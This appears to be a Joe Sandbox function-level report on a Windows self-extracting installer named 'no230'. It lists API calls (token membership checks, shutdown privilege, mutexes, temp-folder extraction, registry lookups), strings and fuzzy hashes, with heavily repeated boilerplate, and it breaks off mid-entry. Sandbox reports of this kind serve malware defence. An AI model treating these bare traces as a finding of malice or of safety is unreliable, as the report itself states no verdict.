Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 261271b2c650ee696def4e26b0ad98b3b41189a71560f45b21621ea811ab2a0c
Instruction ID: 1a506dcae9bdbfd10aad5b3209b52ab5ac85773ee6db604c08cf6ba8ef835269
Opcode Fuzzy Hash: 261271b2c650ee696def4e26b0ad98b3b41189a71560f45b21621ea811ab2a0c
Instruction Fuzzy Hash: 26F04C326042509FD775491D9C84B76BFDEFB86360F28016EE8DAC3385EA658D7583B0

Uniqueness

Uniqueness Score: -1.00%

Function 0080621E Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0080623F

Part of subcall function 008044B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00804518
Part of subcall function 008044B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 00804554

Part of subcall function 00806285: GetLastError.KERNEL32(00805BBC), ref: 00806285

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: 11d6a7ea3c5d3ef3d1ab44affa3da9d5eb79bcc982820802166344f191a2389d
Instruction ID: 2ee97488bcdcb6359ad6c736e6035c5c66f82706a6b57af5e40dca43a5409539
Opcode Fuzzy Hash: 11d6a7ea3c5d3ef3d1ab44affa3da9d5eb79bcc982820802166344f191a2389d
Instruction Fuzzy Hash: 4AF0E9B0700208ABE7D0EB789D02FBE37ACFB44700F400069BA85D60D1FD749D648655

Uniqueness

Uniqueness Score: -1.00%

Function 00804B60 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,00000000,00000000,?,00804FA1,00000000), ref: 00804B98

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 71473303351d94bd7b27930a0924b023a6b3a47b1d395e0342773ffb8baf6b41
Instruction ID: 17304798bc0d191563bec5060801eed43db8f55ea427ece217d23eb0a8c58e1f
Opcode Fuzzy Hash: 71473303351d94bd7b27930a0924b023a6b3a47b1d395e0342773ffb8baf6b41
Instruction Fuzzy Hash: ACF0FE71540B08DED7E18E798C00652BBE4FA953603101A2AA9EED31E0EB70A8A1DB90

Uniqueness

Uniqueness Score: -1.00%

Function 008066AE Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,00804777,?,00804E38,?), ref: 008066B1

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 0bc589754723320014745d93a07f39f1357ff22e7175ea9008e60bb06dd219be
Instruction ID: 43f0b911a1759add514167ed91db062f76ab5638c4b2c206b707fcc3b4c91ed7
Opcode Fuzzy Hash: 0bc589754723320014745d93a07f39f1357ff22e7175ea9008e60bb06dd219be
Instruction Fuzzy Hash: 68B0927662294482AAA40631AC2955A3841F6E123A7E82B90F032C01E0DA3EC8A6D004

Uniqueness

Uniqueness Score: -1.00%

Function 00804CA0 Relevance: 1.3, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 00804CAA

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: ed1f99e7c554cffbcb023c28f16e666f55bb0784b722b45008e6354549de266a
Instruction ID: 5c9ad9e1e4f8e88a6ff85f6a341febd3187670477a599be9375e58d119dbe89f
Opcode Fuzzy Hash: ed1f99e7c554cffbcb023c28f16e666f55bb0784b722b45008e6354549de266a
Instruction Fuzzy Hash: B7B0123204430CF7CF401FC2EC09F853F5DFBC4761F140000F60C450508A7294108696

Uniqueness

Uniqueness Score: -1.00%

Function 00804CC0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32 ref: 00804CC8

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 3e21eeb16d344474a61e91668ceaa62451241897e116c72d7039d7f23b447f30
Instruction ID: 25ee1aaf56ba4ace6901a6bb0d69222b630dccea2ff28e61830cf87e64b08d93
Opcode Fuzzy Hash: 3e21eeb16d344474a61e91668ceaa62451241897e116c72d7039d7f23b447f30
Instruction Fuzzy Hash: 8FB0123100020CF7CF001B42EC088453F5DEAC02607000010F50C410218B3398118585

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00805C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,00000000,?,?), ref: 00805CEE
GetModuleFileNameA.KERNEL32(00808B3E,00000104,00000000,?,?), ref: 00805DFC
CharUpperA.USER32(?), ref: 00805E3E
CharUpperA.USER32(-00000052), ref: 00805EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 00805F6F
CharUpperA.USER32(?), ref: 00805FA7
CharUpperA.USER32(-0000004E), ref: 00806008
CharUpperA.USER32(?), ref: 008060AA
CloseHandle.KERNEL32(00000000,00801140,00000000,00000040,00000000), ref: 008061F1
ExitProcess.KERNEL32 ref: 008061F8

Strings

:, xrefs: 00806118
RegServer, xrefs: 00805F66
", xrefs: 0080612D
", xrefs: 00805D78

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: 050850a7e614fd49eb71c8256462e5f604c771912c5ebf73e57ca8bf20b7c069
Instruction ID: 086bb93a479b0175a70534aa0b90cf05d15cdbd67f2aaddcdfca7e2ece92eb19
Opcode Fuzzy Hash: 050850a7e614fd49eb71c8256462e5f604c771912c5ebf73e57ca8bf20b7c069
Instruction Fuzzy Hash: E7D14971A04A599EEFF58B3C8C487BB3761FB16314F1400AAD4CAD61D1EA748ED68F21

Uniqueness

Uniqueness Score: -1.00%

Function 008018A3 Relevance: 16.6, APIs: 11, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 008017EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,008018DD), ref: 0080181A
Part of subcall function 008017EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0080182C
Part of subcall function 008017EE: AllocateAndInitializeSid.ADVAPI32(008018DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,008018DD), ref: 00801855
Part of subcall function 008017EE: FreeSid.ADVAPI32(?,?,?,?,008018DD), ref: 00801883
Part of subcall function 008017EE: FreeLibrary.KERNEL32(00000000,?,?,?,008018DD), ref: 0080188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 008018EB
OpenProcessToken.ADVAPI32(00000000), ref: 008018F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 0080190A
GetLastError.KERNEL32 ref: 00801918
LocalAlloc.KERNEL32(00000000,?,?), ref: 0080192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 00801944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00801964
EqualSid.ADVAPI32(00000004,?), ref: 0080197A
FreeSid.ADVAPI32(?), ref: 0080199C
LocalFree.KERNEL32(00000000), ref: 008019A3
CloseHandle.KERNEL32(?), ref: 008019AD

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: aa24f134f9b118947c264b6ede01c47ddf0502e8f35c0119e8391bb3f16c9cb5
Instruction ID: 1b7932a2d54851250ffdedebed160ebf0df3c520933c59f1a163be53a2264e2d
Opcode Fuzzy Hash: aa24f134f9b118947c264b6ede01c47ddf0502e8f35c0119e8391bb3f16c9cb5
Instruction Fuzzy Hash: 04312C71A00209EFEFA09FA5DC98AAFBFBCFF08714F900429E545D2190DB319955CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00801F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 00801EFB
OpenProcessToken.ADVAPI32(00000000), ref: 00801F02
ExitWindowsEx.USER32(00000002,00000000), ref: 00801FD3

Strings

SeShutdownPrivilege, xrefs: 00801F28

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: ba98b36320dcbf4e81dd2f1d9cb1e1c1410aa8d8f11e54f5d4a3782c60e7124a
Instruction ID: 14fddc4d766fd7cb8a9de11d77375fc706ecaa4322cd4f29f89f3a67415aaa87
Opcode Fuzzy Hash: ba98b36320dcbf4e81dd2f1d9cb1e1c1410aa8d8f11e54f5d4a3782c60e7124a
Instruction Fuzzy Hash: 0C21C9B1B40306ABDFA05BA59C4EFBF76BCFB85B24F100019FB02E61C1DB7488019666

Uniqueness

Uniqueness Score: -1.00%

Function 00807155 Relevance: 7.6, APIs: 5, Instructions: 51timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00807182
GetCurrentProcessId.KERNEL32 ref: 00807191
GetCurrentThreadId.KERNEL32 ref: 0080719A
GetTickCount.KERNEL32 ref: 008071A3
QueryPerformanceCounter.KERNEL32(?), ref: 008071B8

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 647135c13e5eb9251709d1c57ee8da6fce06f76c564a912b36dbc57361ae300e
Instruction ID: 55c9623456edc21e5ec255e6106973a26184ffb2546dafa5aff2543fba98d8ad
Opcode Fuzzy Hash: 647135c13e5eb9251709d1c57ee8da6fce06f76c564a912b36dbc57361ae300e
Instruction Fuzzy Hash: 36114C71D01608DFCB54DFB8DA48A9EB7F8FF08310F614866D802E7250EA309A04CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00806CF0 Relevance: 6.0, APIs: 4, Instructions: 13COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00806E26,00801000), ref: 00806CF7
UnhandledExceptionFilter.KERNEL32(00806E26,?,00806E26,00801000), ref: 00806D00
GetCurrentProcess.KERNEL32(C0000409,?,00806E26,00801000), ref: 00806D0B
TerminateProcess.KERNEL32(00000000,?,00806E26,00801000), ref: 00806D12

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: be51f183e506de2ff45786c7e35eada215ac09071542b21e58df91879d10f8b9
Instruction ID: 0ded0480ae6968ea10620d355d8f21cf5cbb81bc64f9ca2d3451377781b0d62c
Opcode Fuzzy Hash: be51f183e506de2ff45786c7e35eada215ac09071542b21e58df91879d10f8b9
Instruction Fuzzy Hash: D1D0CA32100308BBEB882BE1EC0CA593F28FB88222F484000F31B82020CA3288518BA2

Uniqueness

Uniqueness Score: -1.00%

Function 00803210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32(000003E8,00808598,00000200), ref: 00803271
GetDesktopWindow.USER32 ref: 008033E2
SetWindowTextA.USER32(?,no230), ref: 008033F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 00803410
GetDlgItem.USER32(?,00000836), ref: 00803426
EnableWindow.USER32(00000000), ref: 0080342D
EndDialog.USER32(?,00000000), ref: 0080343F

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 008032E2, 008032E7, 00803331, 00803344, 0080335B, 0080336A
no230, xrefs: 008033F1

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$no230
API String ID: 2418873061-1214224402
Opcode ID: 5eba48dcc3fdc8f8586d3d50f02940b46387aa7f537a436f3fd47f10bd81e3f7
Instruction ID: 103f1a490b9aa43e7f8e534095fef379eed1a1d81bc62d3a4a5dcd201e420f34
Opcode Fuzzy Hash: 5eba48dcc3fdc8f8586d3d50f02940b46387aa7f537a436f3fd47f10bd81e3f7
Instruction Fuzzy Hash: 1A516B70381740BBEBE55B396C8DF7B394DFB56B54F104029F246DA2D1CAA88A0192A5

Uniqueness

Uniqueness Score: -1.00%

Function 00802CAA Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 183synchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00802CD9
memset.MSVCRT ref: 00802CE9
memset.MSVCRT ref: 00802CF9

Part of subcall function 0080468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008046A0
Part of subcall function 0080468F: SizeofResource.KERNEL32(00000000,00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046A9
Part of subcall function 0080468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008046C3
Part of subcall function 0080468F: LoadResource.KERNEL32(00000000,00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046CC
Part of subcall function 0080468F: LockResource.KERNEL32(00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046D3
Part of subcall function 0080468F: memcpy_s.MSVCRT ref: 008046E5
Part of subcall function 0080468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 008046EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00802D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 00802D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00802DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 00802DBD
CloseHandle.KERNEL32(no230,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00802E0A

Part of subcall function 008044B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00804518
Part of subcall function 008044B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 00804554

Strings

INSTANCECHECK, xrefs: 00802D95
no230, xrefs: 00802D04, 00802DD9, 00802DF0
VERCHECK, xrefs: 00802E54
EXTRACTOPT, xrefs: 00802D4D
TITLE, xrefs: 00802D09

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$no230
API String ID: 1002816675-1643897000
Opcode ID: bd8b17c4e5f4221036cabc1d0e234da39b9eddb043449f2e34e3584aff1e5b3d
Instruction ID: 3c616a237b8c755cd2362dcf4a3889862349b6adcdb5c04a22b0917a8ebdfae5
Opcode Fuzzy Hash: bd8b17c4e5f4221036cabc1d0e234da39b9eddb043449f2e34e3584aff1e5b3d
Instruction Fuzzy Hash: 1651F770780315EAEBE4A768CC4EB7B3698FB45754F004029FAD5D55E2EEF88C81C626

Uniqueness

Uniqueness Score: -1.00%

Function 008034F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119threadwindowCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(00000000), ref: 00803535
EndDialog.USER32(?,?), ref: 00803541
ResetEvent.KERNEL32 ref: 0080355F
SetEvent.KERNEL32(00801140,00000000,00000020,00000004), ref: 00803590
GetDesktopWindow.USER32 ref: 008035C7
GetDlgItem.USER32(?,0000083B), ref: 008035F1
SendMessageA.USER32(00000000), ref: 008035F8
GetDlgItem.USER32(?,0000083B), ref: 00803610
SendMessageA.USER32(00000000), ref: 00803617
SetWindowTextA.USER32(?,no230), ref: 00803623
CreateThread.KERNEL32 ref: 00803637
EndDialog.USER32(?,00000000), ref: 00803671

Strings

no230, xrefs: 0080361D

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: no230
API String ID: 2406144884-1983429894
Opcode ID: 70515003773e0c8377e7e631bc1436e8bb9975ef484ef246f874d9842fb738c6
Instruction ID: bc84f0467b3e7fc2c9183347f931477c1ff3ef70a7aeeebe2cabfd719c600fc1
Opcode Fuzzy Hash: 70515003773e0c8377e7e631bc1436e8bb9975ef484ef246f874d9842fb738c6
Instruction Fuzzy Hash: D631AEB1240301FBD7E45F25AC4DE2A3A6CFB99B01F104529F762D52F1CB768A40DB55

Uniqueness

Uniqueness Score: -1.00%

Function 00804224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 00804236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 0080424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 00804263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 0080427A
GetTempPathA.KERNEL32(00000104,008088C0,?,00000001), ref: 0080429F
CharPrevA.USER32(008088C0,01011181,?,00000001), ref: 008042C2
CharPrevA.USER32(008088C0,00000000,?,00000001), ref: 008042D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 00804391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 008043A5

Strings

SHBrowseForFolder, xrefs: 00804246
SHELL32.DLL, xrefs: 0080422F
SHGetPathFromIDList, xrefs: 00804274

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: ecfd07dbb5aad0157aab47b38c73b4a8922e132e2d8c7026251d7d18e8270c60
Instruction ID: 6afc5f4ef5590b9cf9530a235b17e5c0b73d5f2c7071992d59da319fe451fa4d
Opcode Fuzzy Hash: ecfd07dbb5aad0157aab47b38c73b4a8922e132e2d8c7026251d7d18e8270c60
Instruction Fuzzy Hash: F04121B0A40304EFE790ABA0DC88A6E7BB4FF49344F455069EA81E33C1CB748C85C761

Uniqueness

Uniqueness Score: -1.00%

Function 00802773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114registryCOMMON

Download Yara Rule

APIs

CharUpperA.USER32(1884D968,00000000,00000000,00000000), ref: 008027A8
CharNextA.USER32(0000054D), ref: 008027B5
CharNextA.USER32(00000000), ref: 008027BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00802829
RegQueryValueExA.ADVAPI32(?,00801140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00802852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00802870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 008028A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 008028AA
GetSystemDirectoryA.KERNEL32 ref: 008028B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 008027E4

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
